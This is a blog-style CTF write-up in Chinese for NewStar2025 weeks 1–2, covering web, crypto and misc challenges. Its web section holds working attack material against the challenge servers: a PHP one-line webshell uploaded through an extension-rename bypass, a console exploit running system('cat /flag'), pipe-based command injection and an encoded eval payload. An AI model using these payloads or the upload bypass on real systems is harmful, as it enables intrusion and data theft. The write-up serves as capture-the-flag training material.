NewStar2025 Week1 Week2 Writeup

by 🧑‍🚀 Madel1ne on 2025/10/15

Web

strange_login

题目描述:我当然知道1=1了!?

1


宇宙的中心是php

题目描述:所有光线都逃不出去......但我知道这不会难倒你的

用开发者工具发现有个s3kret.php,访问一下看看


进去后是一个表达式

<?php
highlight_file(__FILE__);
include "flag.php";
if(isset($_POST['newstar2025'])){
    $answer = $_POST['newstar2025'];
    if(intval($answer)!=47&&intval($answe   r,0)==47){
        echo $flag;
    }else{
        echo "你还未参透奥秘";
    }
}

curl -X POST -d "newstar2025=0x2f" http://8.147.132.32:13876/s3kret.php

image-20251024175547458

multi-headach3

题目描述:什么叫机器人控制了我的头?

根据页面提示的信息,访问一下robots.txt,得到一个hidden.php

image-20251024175654901


直接访问会无限跳转回index.php,用抓包查看即可

image-20251024175801805


我真得控制你了

题目描述:小小web还不是简简单单?什么?你拿不下来?那我得好好控制控制你了哈

想按F12就被出题人控制住了,那我直接点浏览器的更多工具,打开开发人员工具,把F12的警告的id值删掉,就可以继续访问了。

image-20251024180013682


启动按钮也不能按,那把它的id值也删掉,就能点击了

image-20251024180055616


启动后页面提示弱密码,加载一个rockyou字典就跟你爆了!😠💢

image-20251024180240353


登录成功后是一个php计算表达式

<?php
error_reporting(0);

function generate_dynamic_flag($secret) {
    return getenv("ICQ_FLAG") ?: 'default_flag';
}


if (isset($_GET['newstar'])) {
    $input = $_GET['newstar'];
    
    if (is_array($input)) {
        die("恭喜掌握新姿势");
    }
    

    if (preg_match('/[^\d*\/~()\s]/', $input)) {
        die("老套路了,行不行啊");
    }
    

    if (preg_match('/^[\d\s]+$/', $input)) {
        die("请输入有效的表达式");
    }
    
    $test = 0;
    try {
        @eval("\$test = $input;");
    } catch (Error $e) {
        die("表达式错误");
    }
    
    if ($test == 2025) {
        $flag = generate_dynamic_flag($flag_secret);
        echo "<div class='success'>拿下flag!</div>";
        echo "<div class='flag-container'><div class='flag'>FLAG: {$flag}</div></div>";
    } else {
        echo "<div class='error'>大哥哥泥把数字算错了: $test ≠ 2025</div>";
    }
} else {
    ?>
<?php } ?>

找AI构建一下,?newstar=81%2A25

image-20251024180342162


别笑,你也过不了第二关

题目描述:不是哥们,说白了你有啥实力啊,过关不是简简单单

抓包后可以查看源码,把源码发送给AI,AI给出了一段JavaScript代码,放在console里面运行

// 方法1:直接发送请求
fetch("/flag.php", {
  method: "POST",
  headers: {
    "Content-Type": "application/x-www-form-urlencoded"
  },
  body: "score=1000000"
})
.then(res => res.text())
.then(data => {
  console.log("服务器返回:");
  console.log(data);
  alert(data);
});

// 方法2:修改游戏变量后触发结束
score = 1000000;
currentLevel = 1;
gameEnded = false;
endLevel();

image-20251024180515741


黑客小W的故事(1)

题目描述:NewStar 的赛场上,小 W 被传送到了一个到处都是虫子的王国,在这里寻觅许久之后,他发现只有学会剑技(HTTP 协议)才能够离开这里。

逆天题目,做了我两个小时😡👿😠😾💢

第一关

修改count值,要大于800

image-20251024180640709


第二关

开始套娃

点击提示,让我用get方法给shipin传入mogubaozi,又根据前面说的直接提guding

image-20251024180736559


让我用post,那把get改成post

image-20251024180808152


用DELETE帮蘑菇先生的虫子去掉,提示我不能把guding删除,把请求包修改成刚才的POST方式

image-20251024180853458

image-20251024180915119


获得下一关的token

image-20251024180931412


把原来的token值修改为刚刚获得的token值,按F5刷新进入下一关

image-20251024181106555


第三关

根据提示,修改User-Agent的值,修改为页面提示的旋风斩(CycloneSlash)

image-20251024181208671

改完9.9又问冲锋斩(DashSlash)在哪,加上去,提示我通过了,并且给了下一关的token值

image-20251024181228018

image-20251024181244446

修改token值拿到flag🥰

image-20251024181306677


DD加速器

题目描述:D师傅在服务器上部署了一个加速器,并且提供一个页面来ping游戏服务器...

打开网页,提供题目描述,猜测是命令注入漏洞。用|隔开ip地址,使用cat index.php可以查看源码,发现最多输入28个字符。使用命令 find / -name flag*,找一下flag

image-20251024181431109

image-20251024181454779


找到flag的路径后,用*来替换掉路径后面的字符,用cat命令读取flag

image-20251024181515870


真的是签到诶

题目描述:到了 week2 的签到题目???真的是签到吗?真的是签到吗?真的是签到吗?

题目源码:

<?php
highlight_file(__FILE__);

$cipher = $_POST['cipher'] ?? '';

function atbash($text) {
  $result = '';
  foreach (str_split($text) as $char) {
    if (ctype_alpha($char)) {
      $is_upper = ctype_upper($char);
      $base = $is_upper ? ord('A') : ord('a');
      $offset = ord(strtolower($char)) - ord('a');
      $new_char = chr($base + (25 - $offset));
      $result .= $new_char;
    } else {
      $result .= $char;
    }
  }
  return $result;
}

if ($cipher) {
  $cipher = base64_decode($cipher);
  $encoded = atbash($cipher);
  $encoded = str_replace(' ', '', $encoded);
  $encoded = str_rot13($encoded);
  @eval($encoded);
  exit;
}

$question = "真的是签到吗?";
$answer = "真的很签到诶!";

$res =  $question . "<br>" . $answer . "<br>";
echo $res . $res . $res . $res . $res;

?>

疯狂拷打ChatGPT😡,最终拿到一个可以获得flag的命令✌️

curl -k -v --data-urlencode "cipher=eHZlenQoaGViaV9naXRfa3l6dGl6dHUoJy9oYm1nJykpOw==" "https://eci-2zea1sullses9hu1q9tw.cloudeci1.ichunqiu.com/"

image-20251024181540639


搞点哦润吉吃吃橘

题目描述:Doro把自己最心爱的橘子放在了保险冰箱中,为了一探究竟这橘子有多稀奇,你决定打开这个保险装置,但是遇到一些棘手的问题......

打开后是一个登录页面,账号和密码藏在F12里面

image-20251024181628885


登录后是一个让我们计算token并提交来获得flag的页面,点击开始验证会出表达式,但是只给3秒钟计算和提交的时间,根据提示抓包可以看源码

把抓包获得的源码给AI,让AI写一个JavaScript脚本,自动开始—>自动计算—>自动提交。我这里拷打了GPT,GPT写好后的JavaScript代码放在console里,回车自动执行,可能要多试几次

(async function(){
    try{
        const startBtn = document.getElementById('startBtn');
        const submitBtn = document.getElementById('submitBtn');
        const tokenInput = document.getElementById('tokenInput');
        if(!startBtn || !submitBtn || !tokenInput){
            console.error("[auto] 未找到页面控件 (start/submit/input)。请确保在该页面运行。");
            return;
        }

        // 点击开始
        startBtn.click();
        console.log("[auto] 点击开始验证...");

        // 等表达式出现(最多等待 1 秒)
        const waitForExpr = () => new Promise(resolve => {
            const el = document.getElementById('expressionText');
            if(el && el.innerText.trim()) return resolve(el);
            const obs = new MutationObserver(()=> {
                const e = document.getElementById('expressionText');
                if(e && e.innerText.trim()){
                    obs.disconnect();
                    resolve(e);
                }
            });
            obs.observe(document.body, {childList:true, subtree:true, characterData:true});
            setTimeout(()=>{ try{ obs.disconnect(); }catch(e){}; resolve(document.getElementById('expressionText')); }, 1000);
        });

        const exprEl = await waitForExpr();
        if(!exprEl || !exprEl.innerText.trim()){
            console.error("[auto] 未检测到表达式,请检查页面或延长等待时间。");
            return;
        }
        const expr = exprEl.innerText.trim();
        console.log("[auto] 表达式:", expr);

        // 解析 (num * num) ^ 0x...
        const match = expr.match(/\(\s*(\d+)\s*\*\s*(\d+)\s*\)\s*\^\s*(0x[0-9a-fA-F]+)/);
        if(!match){
            console.error("[auto] 解析失败:表达式格式未匹配。");
            return;
        }

        const left = BigInt(match[1]) * BigInt(match[2]);
        const right = BigInt(match[3]);
        const token = (left ^ right).toString();

        // 填入并提交
        tokenInput.value = token;
        tokenInput.dispatchEvent(new Event('input',{bubbles:true}));
        tokenInput.dispatchEvent(new Event('change',{bubbles:true}));
        console.log("[auto] 计算 token =", token);

        // 立刻提交
        submitBtn.click();
        console.log("[auto] 已点击提交按钮,等待结果...");

    }catch(err){
        console.error("[auto] 脚本出错:", err);
    }
})();

image-20251024181755509


白帽小K的故事(1)


题目描述:小 K 为了成为最强的 NewStar,在阴差阳错之下来到了索拉里斯大陆,被风暴席卷的她飞到了黑海岸。在那里,泰提斯系统突然发难,漂泊者拜托小 K 解决难题。为了成为最强 NewStar,小 K 毅然接受了挑战!

点击首页的提示按钮,这个人(我不认识这个角色 😗:3 )提示我关注接口和文件上传

image-20251024181854475


抓个包获取源码,给AI分析一下

image-20251024181915322

典型的CTF隐藏提示说是

image-20251024181937418


上传页只能上传mp3后缀的文件,先不急,我们新建一个txt文件,写入php一句话木马

<?php @eval($_REQUEST['cmd']); ?>

写好之后保存并把后缀修改成.mp3,抓包,修改一下后缀名.php,可以看到刚刚写的php一句话木马上传成功

image-20251024182020475


问GPT要执行代码

// 在浏览器控制台粘贴后使用 exploit("system('id');") 或 exploit("system('cat /flag');")
async function exploit(cmd, file = 'kfc.php') {
  const body = 'file=' + encodeURIComponent(file) + '&cmd=' + encodeURIComponent(cmd);
  const res = await fetch('/v1/onload', {
    method: 'POST',
    headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
    body
  });
  const text = await res.text();
  try {
    const json = JSON.parse(text);
    console.log('JSON:', json);
  } catch {
    console.log('RAW:', text);
  }
}

// 示例:查看身份
exploit(`system('id');`);

// 示例:读 flag(按实际路径尝试)
exploit(`system('cat /flag');`);

// 如果需要带路径,改第二个参数,如:'uploads/kfc.php' 或 'static/upload/kfc.php'

image-20251024182047739


Crypto

Sagemath使用指哪?

题目描述:使用Sagemath运行程序以获得flag

根据题目描述,使用Sagemath工具解题,把代码复制进去即可,官网:<Sage Cell Server>

image-20251024182142922


随机数之旅1

题目描述:真正的大中衔接belike:

GPT秒了

from Crypto.Util.number import long_to_bytes

# 已知的参数
a = 295789025762601408173828135835543120874436321839537374211067344874253837225114998888279895650663245853
p = 516429062949786265253932153679325182722096129240841519231893318711291039781759818315309383807387756431
hint = [
    184903644789477348923205958932800932778350668414212847594553173870661019334816268921010695722276438808,
    289189387531555679675902459817169546843094450548753333994152067745494929208355954578346190342131249104,
    511308006207171169525638257022520734897714346965062712839542056097960669854911764257355038593653419751,
    166071289874864336172698289575695453201748407996626084705840173384834203981438122602851131719180238215,
    147110858646297801442262599376129381380715215676113653296571296956264538908861108990498641428275853815,
    414834276462759739846090124494902935141631458647045274550722758670850152829207904420646985446140292244
]

# 计算 m
h0, h1 = hint[0], hint[1]
m = (h1 - a * h0) % p

# 验证 m 是否正确
def verify(m, a, p, hint):
    for i in range(len(hint) - 1):
        if (a * hint[i] + m) % p != hint[i + 1]:
            return False
    return True

if verify(m, a, p, hint):
    print("m is correct!")
    flag = long_to_bytes(m).decode()
    print("Flag:", flag)
else:
    print("m is incorrect!")

image-20251024182219171


初识RSA

题目描述:好像很标准,又好像不太标准(md5码怎么解呢?好像有在线工具)

根据题目描述,打开在线网站:<md5在线解密破解,md5解密加密>,解密附件脚本里KEY的值,得到crypto

image-20251024182255649


AI秒了

from Crypto.Util.number import long_to_bytes, bytes_to_long
import math

# 已知值
key = b'crypto'
P = 8950704257708450266553505566662195919814660677796969745141332884563215887576312397012443714881729945084204600427983533462340628158820681332200645787691506
n = 44446616188218819786207128669544260200786245231084315865332960254466674511396013452706960167237712984131574242297631824608996400521594802041774252109118569706894250996931000927100268277762882754652796291883967540656284636140320080424646971672065901724016868601110447608443973020392152580956168514740954659431174557221037876268055284535861917524270777789465109449562493757855709667594266126482042307573551713967456278514060120085808631486752297737122542989222157016105822237703651230721732928806660755347805734140734412060262304703945060273095463889784812104712104670060859740991896998661852639384506489736605859678660859641869193937584995837021541846286340552602342167842171089327681673432201518271389316638905030292484631032669474635442148203414558029464840768382970333
c = 42481263623445394280231262620086584153533063717448365833463226221868120488285951050193025217363839722803025158955005926008972866584222969940058732766011030882489151801438753030989861560817833544742490630377584951708209970467576914455924941590147893518967800282895563353672016111485919944929116082425633214088603366618022110688943219824625736102047862782981661923567377952054731667935736545461204871636455479900964960932386422126739648242748169170002728992333044486415920542098358305720024908051943748019208098026882781236570466259348897847759538822450491169806820787193008018522291685488876743242619977085369161240842263956004215038707275256809199564441801377497312252051117441861760886176100719291068180295195677144938101948329274751595514805340601788344134469750781845
e = 65537

# 步骤1: 恢复 p
key_long = bytes_to_long(key)
p = P ^ key_long
print(f"p = {p}")

# 步骤2: 分解出 q
p_cubed = pow(p, 3)
q_squared = n // p_cubed
q = int(math.isqrt(q_squared))

# 验证 q² 是否等于 n/p³
assert q * q == q_squared, "q 不是整数,分解失败"
print(f"q = {q}")

# 步骤3: 计算 φ(n)
phi_n = pow(p, 2) * (p - 1) * q * (q - 1)
print(f"φ(n) = {phi_n}")

# 步骤4: 计算私钥 d
d = pow(e, -1, phi_n)
print(f"d = {d}")

# 步骤5: 解密消息 m
m = pow(c, d, n)
print(f"m = {m}")

# 步骤6: 转换为 flag
flag = long_to_bytes(m)
print(f"flag = {flag}")

image-20251024182335964


唯一表示

题目描述:不要把鸡蛋放在同一个篮子里

GPT秒了

from sympy.ntheory.modular import crt
from Crypto.Util.number import long_to_bytes
from sympy import primerange

# 给定的余数列表
c = [1, 2, 2, 4, 0, 2, 11, 11, 8, 23, 1, 30, 35, 0, 18, 30, 55, 60, 29, 42, 8, 13, 49, 11, 69, 26, 8, 73, 84, 67, 100, 9, 77, 72, 127, 49, 57, 74, 70, 129, 146, 45, 35, 180, 196, 101, 100, 146, 100, 194, 2, 161, 35, 155]

# 生成素数列表(与原代码相同)
primes = list(primerange(2, 114514))

# 确定使用的素数数量(余数列表的长度)
num_primes = len(c)
used_primes = primes[:num_primes]

print(f"使用的素数数量: {num_primes}")
print(f"最大的素数: {used_primes[-1]}")
print(f"所有使用的素数: {used_primes}")

# 使用中国剩余定理重建原始数值
message_int, _ = crt(used_primes, c)

print(f"\n重建的数值: {message_int}")

# 转换为字节得到flag
flag = long_to_bytes(message_int)
print(f"解密得到的flag: {flag}")

# 验证是否以flag{开头
if flag.startswith(b'flag{'):
    print("\n✅ 解密成功!")
else:
    print("\n❌ 解密失败,可能需要检查")

image-20251024182415412


小跳蛙

题目描述:青蛙会跳到哪里去呢?

用AI做,先把题目脚本发送给AI,再把服务器发送的5组(a,b)数据依次发送给AI,让AI给出答案,把答案填写到服务器上,连续5次后就能得到flag

image-20251024182837611

image-20251024182912308


置换

题目描述:我一看数学就头疼怎么办?(把解密出的文本用flag{}裹上提交)

AI秒了

cipher = "SUFK_D_SJNPHA_PARNUTDTJOI_WJHH_GACJIJTAHY_IOT_STUNP_YOU."

# 把字母映射为 1..26
def letter_to_num(ch):
    return ord(ch) - ord('A') + 1

def num_to_letter(n):
    return chr(ord('A') + n - 1)

# 定义题目给的两个置换(按题目顺序:F = A ∘ B,其中
# B = (1 3 5 7)(2 4 6)(8 10 12 14)
# A = (1 2 3 4 5 6 7)(8 9 10 11 12 13 14)
# 意味着 F(x) = A(B(x)))
def apply_cycle_mapping(n, cycle):
    # cycle: list of ints representing a cycle, e.g. [1,3,5,7]
    # returns mapped value of n under this single cycle (other elements fixed)
    if n in cycle:
        idx = cycle.index(n)
        return cycle[(idx + 1) % len(cycle)]
    return n

def apply_permutation(n):
    # apply B then A: F(n) = A(B(n))
    # first B:
    # cycles of B
    B_cycles = [[1,3,5,7], [2,4,6], [8,10,12,14]]
    x = n
    for cyc in B_cycles:
        x = apply_cycle_mapping(x, cyc)
    # then A:
    A_cycles = [[1,2,3,4,5,6,7], [8,9,10,11,12,13,14]]
    for cyc in A_cycles:
        x = apply_cycle_mapping(x, cyc)
    return x

# 构造完整的置换字典 F: mapping from 1..26 to 1..26
F = {i: apply_permutation(i) for i in range(1,27)}

# 计算逆置换 F^{-1}
Finv = {v:k for k,v in F.items()}

# 解密函数:对字母应用逆置换,其他字符保持不变
def decrypt(text):
    out = []
    for ch in text:
        if 'A' <= ch <= 'Z':
            n = letter_to_num(ch)
            m = Finv.get(n, n)  # 若未映射则保持不变
            out.append(num_to_letter(m))
        elif 'a' <= ch <= 'z':
            # 保持小写也能处理(先转大写再还原为小写)
            n = letter_to_num(ch.upper())
            m = Finv.get(n, n)
            out.append(num_to_letter(m).lower())
        else:
            out.append(ch)
    return ''.join(out)

plain = decrypt(cipher)
flag = f"flag{{{plain}}}"

print("cipher:")
print(cipher)
print("\nplaintext:")
print(plain)
print("\nflag:")
print(flag)

image-20251024183017711


DLP_1

题目描述:sagemath中好像有现成的工具? 用claude4.5秒了

image-20251024183035407

from Crypto.Util.number import long_to_bytes

p = [189869646048037, 255751809593851, 216690843046819]
g = [5, 3, 3]
h = [78860859934701, 89478248978180, 81479747246082]

parts = []
for i in range(3):
    x = discrete_log(mod(h[i], p[i]), mod(g[i], p[i]))
    part = long_to_bytes(int(x))
    parts.append(part)
    print(f"Part {i}: {part}")

flag_inner = b''.join(parts)
flag = b'flag{' + flag_inner + b'}'
print(f"\nFlag: {flag.decode()}")

image-20251024183100584


FHE: 0 and 1

题目描述:千里之堤,溃于蚁穴

GPT秒了

# recover_robust.py
from math import gcd
from collections import Counter
import random

def parse_list(fname):
    s = open(fname,'r',encoding='utf-8').read().strip()
    if s.startswith('['): s = s[1:-1]
    return [int(x.strip()) for x in s.split(',') if x.strip()]

pk = parse_list(r'C:\Users\lenovo\Desktop\pk.txt')
c  = parse_list(r'C:\Users\lenovo\Desktop\c.txt')

# 尝试通过对某对 pk 穷举小偏移来找候选 p
R = 50   # 偏移穷举上界(你脚本偏移 <=10,这里给更安全的 50)
cands = Counter()
n = len(pk)
for _ in range(300):               # 随机尝试若干对
    i, j = random.randrange(n), random.randrange(n)
    if i == j: continue
    a, b = pk[i], pk[j]
    for ra in range(0, R+1):
        for rb in range(0, R+1):
            g = gcd(a - ra, b - rb)
            if g.bit_length() > 50:  # 排除很小的因子
                cands[g] += 1

# 取出现频率最高的候选
candidate, _ = cands.most_common(1)[0]
print("candidate p:", candidate)

# 验证:看所有 pk 对 candidate 的余数是否都很小(即真实偏移)
res = [x % candidate for x in pk]
print("min/max residue:", min(res), max(res))

# 用 candidate 恢复 bits -> flag
p = candidate
bits = [(ci % p) % 2 for ci in c]
chars = []
for i in range(0, len(bits), 8):
    byte = bits[i:i+8]
    if len(byte) < 8: break
    chars.append(chr(int(''.join(str(b) for b in byte), 2)))
print("flag:", ''.join(chars))

image-20251024183152219


群论小测试

题目描述:扣”循环群“变成群论高手

解题方法和小跳蛙一样,把脚本和服务器发送的数据都复制给AI,让AI给出答案后填写进服务器里,连续5次后获得flag

image-20251024183223708

image-20251024183338422


RSA_revenge

题目描述:Fermat和Euler在week1被击败了,这次他们大大升级卷土重来,聪明的你掏出了骨传导耳机和爆破弹,你能打出漂亮的防守吗?(方法不止一种哦,聪明的你能想到吗?)

拷打了Calude4.5半个小时,最终给出可用解密脚本

image-20251024183402707

"""
RSA Revenge 完整解密脚本
两部分加密的flag完整恢复
"""

from math import gcd, isqrt

# ==================== 数据部分 ====================

# Part 1: 高次幂模数 RSA
lst = [
    8477643094111283590583082266686584577185935117516882965276775894970480047703089419434737653896662067140380478042001964249802246254766775288215827674566239,
    7910991244809724334133464066916251012653855854025088993280923310153569870514093484293150987057836939645880428872351249598065661847436809250099607617398229,
    12868663117540247120940164330605349884925779832327002530579867223566756253418944553917676755694242046142851695033487706750006566539584075228562544644953317
]

n1 = 1103351600126529748374237534378639752005563260397057273760573608668234841858898339963615180586483636658319719258259564340229731088477043006707066258091746453519875771328756343070392346553837475869985292233339882321767365588480914243055530194543710833400735694644740966837509139443272712871728933520755003149497543272631963356726446399042360341133139923381402765176034620742095462597690819317740258280338778466308360122325510768573457366480478480385099879072314101166576014811788437611871531848011762293407180575205681864374034973560073644731757180275405672624629974899658185645498677923049149478738083257882839079796420483489134608949730373829870700049152830490730902518823469250714236113622490232617166274965015245948264281265453208875232918994116540222173029738472689551464384951129495828658025526216028826258099588572669439254177489891457890498930044291769038333452721765661715836795838845421437984152253836745540547878024331492328801233425013069672422548913381714868180440419922587534373534388179645778998201569812711853469607955639409976100938326204393436455902117700715705355730254907473694496862186927081288536664564066273905636691443629865742113665395817897790346568115147261785693069547062993147965228097215778787698574672103567611954541526351385121096946876318405181900957517179318858167322380305506577864659070587276190351263272904670121000123739762817165611376508091511049581310489960967300251226150505529874043827860587179066433478573304632672443028389332137578559069790875583860034559992961597964011009181097461053565357444468759142467793785272517357594961007684369171923169825343428400994582000709315829746271356743493827706669902956302087422710335869361908872578360718630332916867987882367454381486160119341248986730614715669587555561672656107579415221691270769054441036888212622679174466809685017295395823904506545225068526453243179279430769878809345179954207934650512040934969514434321887565917951423932360150276928683390148666338790317001765138293050858448249492058987889761085236104153306884365020403974305552987123976314900738336243171779096705121428628914344115125836293982077268043357822313817090167616525512714228298048543723340688062975654817272989686281447834032081689520522343318726816659742944874587243087717935463623631288732784108299093601104113561688659145661286269339180833210463

c1 = 1091994761217634826072124019708574984391652131019528859451478177360336520455071879664626056517127684886792263267184750289726966173475531785135908239241367011964947254146686336678625127107000203921535502636024125382397949549706019108806905113568387688784083651867765356465676713044867529224095280990952281722377729904633765755308727317586804384907594623294542255582608130775388385053656500091188492219892541287152759373311871679053567569991598739628072091647402994694057021522875429987401797108991466209720726320411739418901734326490258573985380323870664455719118307333460877640654186421881374126846465164012283741829305792336376443671697322944983680753186871994926812712407530175535547953488409667363778877011722921746615125168842335755090712330314248078688305813574126414154357295682111730319771541764882123530538798904329448342477283010679916534388272354852606444335501019923314748714020060783702757991765107811664795881473290112012642711848840732656792842975595985262637352884148989392358729413049666423809444629233355604344713121576947744271550672311509709353155584615401385981281541568915650140285513857950097872392262841978506457072907666348887936981254691271750737368646952613446340505887570613771043863966115924851279285010321193299940403084752305457659188900451883509679442577291500194294702408740417770241347854055121038455584689346661759142226424655750649030196509606345959868857460928822458178193914427975718432613693148519385509070885413086890691471063639321214058351800789483569828355240522324245612035847073723555128381268497293297681153943700076717509367055194706714770699658667364019792069384855913700111098207862666478388154325649690787295929427544059466206456378068191323286585251490682952650730101051661446454500997013269750318207079005140046631065420740924251847948208391204635801689730778074655515676216581230345037704163062457051532737078339281175699645868527505281984564077081473213204937490995858702477009964928872064904754834804222961572810639265783286770899262602346777948115933216112376126550352514674411338374863486761612733848198090788549337632188615953986569772932102409611086086895003705261003974939487286850347660140334361903821934552381535024019082394626749532280515222512480387681995937963724398131252527927016338174692268363933916957519992512787514236065140642709723084266949

# Part 2: 多素数 RSA + hints
n2 = 1069018081462192233874980694931144545150390355151142000407896565228521856087497130221328822828336193888433906258622424173888905902703892967253752403237818439004204769185744957222426788163474091322195131517000927031632213563726678357776820914860304114493023487392954636569155416533134778017635963554249754152905136768251720862406591818283210776943594065154793598910172412634428403766286774221252340847853800584819732893065160890727141088203583945705491817754798199

hint1 = 495128350277196206878301144662871873237030348510695923954264742873861239639964327065778936381957512315649691671343380037835210964239285388639258116089512827565613815144843995253866231195560373946746849139176701974882655518646303907103018798645711804858249793838527221003421990186067508970406658504653011309012705975088331579176215562874130854040538446696646570783420605205142219423250083326857924937357413604293802370900521919578742651150371880416910794941782372

hint2 = 30328561797365977072611520167046226865857127358764834983211668172910299946455309984910564878419440651867811045905957544019080032899770755776597512870488988655573901143704158135658656276142062054235425241921334990614594054774876139797881802290465401101513930547809082303438739954539239681192173563314964619128522116071538744700209974655230351192503911493028021717763873423132332205605117704777006410273001461242351682504368760936763922017247768057874236213463076

hint3 = 20884722618082876001516601155402590958389763080024067634953470674302186115943562475648388511118550021010685094074280890845364756164094187193286427464829840

c2 = 548415661734126053738347374438337003873176731288953351164055019598761821990636552806558989407452529293973596759395078164177029251755832478675308995116633955485067347066419466003081030015784908106772410713523387155248930421498438336128348929737424937920603679054765413736671822930257854740643178209639013528748572597042833138551717910328899462934527011212318128877188460373648545379405946354668400634037669394938860103705689139981117990256660685216959315741336968

e = 65537

# ==================== 工具函数 ====================

def long_to_bytes(n):
    """将大整数转换为字节串"""
    if n == 0:
        return b'\x00'
    result = []
    while n > 0:
        result.append(n & 0xff)
        n >>= 8
    return bytes(reversed(result))


# ==================== Part 1: 解密前半段 ====================

print("=" * 70)
print(" " * 20 + "RSA Revenge 完整解密")
print("=" * 70)

print("\n[Part 1] 解密 Flag 前半段 (高次幂模数攻击)")
print("-" * 70)

# 步骤1: 计算每个素因子的幂次
print("\n[*] 计算素因子的幂次...")
exponents = []
for i, p in enumerate(lst):
    t = 1
    temp_n1 = n1
    while temp_n1 % p == 0:
        temp_n1 //= p
        t += 1
    exponents.append(t - 1)
    print(f"  素数 {i+1}: {p.bit_length()} bits, 幂次 = {t - 1}")

# 步骤2: 计算欧拉函数 φ(n1) = ∏ p^(t-1) * (p-1)
print("\n[*] 计算欧拉函数 φ(n1)...")
phi_n1 = 1
for i, p in enumerate(lst):
    t = exponents[i]
    phi_n1 *= (p ** (t - 1)) * (p - 1)

print(f"  φ(n1) bit_length: {phi_n1.bit_length()} bits")

# 步骤3: 计算私钥 d1
print("\n[*] 计算私钥 d1 = e^(-1) mod φ(n1)...")
d1 = pow(e, -1, phi_n1)

# 步骤4: 解密密文
print("\n[*] 解密密文...")
m1 = pow(c1, d1, n1)
flag_part1 = long_to_bytes(m1)

print(f"\n[+] Flag 前半段: {flag_part1.decode('utf-8', errors='ignore')}")


# ==================== Part 2: 解密后半段 ====================

print("\n" + "=" * 70)
print("[Part 2] 解密 Flag 后半段 (Hint攻击)")
print("-" * 70)

# 关键技巧:利用 hint 和密文的关系提取素因子
# hint2 = m^r2 mod n2
# c2 = m^e mod n2
# 计算 gcd(hint2^e - c2, n2) 可能提取出素因子!

print("\n[*] 利用 hint 攻击提取素因子...")
print("  原理: gcd(hint2^e - c2, n2) 可以暴露素因子")

# 尝试不同的 GCD 组合
print("\n[*] 测试 gcd(hint1^e - c2, n2)...")
test1 = pow(hint1, e, n2) - c2
g1 = gcd(test1, n2)
print(f"  结果: {g1.bit_length()} bits")

print("\n[*] 测试 gcd(hint2^e - c2, n2)...")
test2 = pow(hint2, e, n2) - c2
g2 = gcd(test2, n2)
print(f"  结果: {g2.bit_length()} bits")

# 找到512位的素因子
r2 = None
if 500 < g2.bit_length() < 520:
    r2 = g2
    print(f"  [+] 成功提取 r2! (512位素数)")

if not r2:
    print("\n[!] GCD方法失败")
    exit(1)

# 步骤2: 利用 hint3 = p2 + q2 恢复另外两个素数
print("\n[*] 利用 hint3 = p2 + q2 恢复剩余素因子...")
pq = n2 // r2
s = hint3

print(f"  已知: p2 * q2 = {pq}")
print(f"  已知: p2 + q2 = {s}")

# 解二次方程 x^2 - s*x + pq = 0
# 判别式 Δ = s^2 - 4*pq
# 解: x = (s ± √Δ) / 2

discriminant = s * s - 4 * pq
print(f"\n[*] 解二次方程 x^2 - {s}*x + {pq} = 0")
print(f"  判别式 Δ = {discriminant}")

if discriminant < 0:
    print("\n[!] 判别式为负,无实数解")
    exit(1)

sqrt_d = isqrt(discriminant)

if sqrt_d * sqrt_d != discriminant:
    print("\n[!] 判别式不是完全平方数")
    exit(1)

p2 = (s + sqrt_d) // 2
q2 = (s - sqrt_d) // 2

# 验证
if p2 * q2 != pq or p2 + q2 != s or p2 * q2 * r2 != n2:
    print("\n[!] 验证失败")
    exit(1)

print(f"  [+] p2 = {p2}")
print(f"  [+] q2 = {q2}")
print(f"  [+] r2 = {r2}")
print(f"  验证: p2 * q2 * r2 = n2 ✓")

# 步骤3: 计算 φ(n2) 和私钥
print("\n[*] 计算 φ(n2) = (p2-1)(q2-1)(r2-1)...")
phi_n2 = (p2 - 1) * (q2 - 1) * (r2 - 1)

print("\n[*] 计算私钥 d2...")
d2 = pow(e, -1, phi_n2)

# 步骤4: 解密
print("\n[*] 解密密文...")
m2 = pow(c2, d2, n2)
flag_part2 = long_to_bytes(m2)

print(f"\n[+] Flag 后半段: {flag_part2.decode('utf-8', errors='ignore')}")


# ==================== 输出完整Flag ====================

print("\n" + "=" * 70)
print(" " * 25 + "解密成功!")
print("=" * 70)

full_flag = flag_part1 + flag_part2

print(f"\n完整 Flag:")
print(f"  {full_flag.decode('utf-8', errors='ignore')}")
print("\n" + "=" * 70)

# 详细说明
print("\n攻击原理总结:")
print("-" * 70)
print("Part 1 - 高次幂模数:")
print("  • n1 = p1^t1 * p2^t2 * p3^t3 (已知所有素因子)")
print("  • φ(n1) = ∏ pi^(ti-1) * (pi-1)")
print("  • 标准RSA解密")
print()
print("Part 2 - Hint攻击:")
print("  • hint2 = m^r2 mod n2, c2 = m^e mod n2")
print("  • 关键: gcd(hint2^e - c2, n2) 提取素因子 r2")
print("  • 利用 hint3 = p2 + q2 解二次方程恢复 p2, q2")
print("  • 解密得到完整flag")
print("=" * 70)

image-20251024183436972


Misc

Sign in

签到,题目里直接给出了flag

image-20251024183508416


MISC城邦-压缩术

题目描述:欢迎挑战者们来到压缩术的考验关卡,本关考察压缩术的综合使用,请挑战者们通过6位密码门开始挑战吧!(要想使用压缩术,请先念咒语"abcd...xyz0123...789")

打开压缩包,有两个加密文件

image-20251024183548984


根据题目描述,爆破6位数的密码。用ARCHPR爆了14分钟,爆出密码:ns2025

image-20251024183628331


tips.txt提示伪加密

image-20251024183652764


用010修改一下

image-20251024183735675

image-20251024183719506


打开flag.zip发现可以进行明文攻击,把key.txt打包成压缩包,用ARCHPR进行明文攻击

image-20251024183756215

image-20251024183810973


获得密码:d00rkey,用这个密码解压就可以获得flag了

image-20251024183831341

image-20251024183844559


我不要革命失败

题目描述:小吉的机械革命笔记本又双叒叕蓝屏了!这次他不想再坐以待毙!他发来了他在C:\Windows\Minidump\的蓝屏文件,请你帮忙分析一下,让机革摆脱舍友的歧视。听说大伙看蓝屏日志都用的是WinDbg,操作也很简单,好像要敲什么!analyze -v?

flag格式:flag{崩溃类型(即蓝屏显示的终止代码)_故障进程}

根据题目描述,去下载微软官方WinDbg:<安装 WinDbg - Windows drivers | Microsoft Learn>

我是在powershell下载的,命令:winget install Microsoft.WinDbg

下载完毕后双击附件打开,直接提示!analyze -v,点击一下

image-20251024183954354


等结束后把结果丢给AI分析一下

image-20251024184008856


EZ_fence

题目描述:rar发现一张残缺的照片竟然需要4颗钉子才能钉住,照片里面似乎藏着秘密。

用010查看图片,发现底部藏了一个压缩包,手动复制压缩包的16进制,把压缩包导出来,发现要密码

